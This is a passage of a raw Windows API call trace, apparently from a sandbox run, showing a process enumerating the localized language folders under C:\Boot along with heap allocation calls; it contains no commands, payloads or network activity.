ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0077.884] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0077.885] FindClose (in: hFindFile=0x11ba110 | out: hFindFile=0x11ba110) returned 1 [0077.885] GetProcessHeap () returned 0x11a0000 [0077.885] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.885] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0077.886] GetProcessHeap () returned 0x11a0000 [0077.886] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-CA\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.886] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.886] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.886] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.886] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.886] GetProcessHeap () returned 0x11a0000 [0077.886] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.886] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0077.886] GetProcessHeap () returned 0x11a0000 [0077.886] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.887] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.887] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.887] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.887] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.887] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.887] GetProcessHeap () returned 0x11a0000 [0077.887] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.887] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0077.887] GetProcessHeap () returned 0x11a0000 [0077.887] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.887] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hr-HR\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.887] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.887] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.887] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.888] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.888] GetProcessHeap () returned 0x11a0000 [0077.888] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.888] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0077.888] GetProcessHeap () returned 0x11a0000 [0077.888] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0077.888] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.888] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.888] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.888] FindNextFileW (in: hFindFile=0x11b9f90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.888] FindClose (in: hFindFile=0x11b9f90 | out: hFindFile=0x11b9f90) returned 1 [0077.888] GetProcessHeap () returned 0x11a0000 [0077.888] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.888] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="it-IT", cAlternateFileName="")) returned 1 [0077.889] GetProcessHeap () returned 0x11a0000 [0077.889] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.889] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.889] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.889] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.889] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.889] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.889] GetProcessHeap () returned 0x11a0000 [0077.889] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.889] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0077.889] GetProcessHeap () returned 0x11a0000 [0077.889] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.889] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.890] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.890] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.890] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0077.890] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.890] GetProcessHeap () returned 0x11a0000 [0077.890] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0077.890] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0077.890] GetProcessHeap () returned 0x11a0000 [0077.890] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0077.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.890] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d2, cFileName="..", cAlternateFileName="")) returned 1 [0077.890] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, 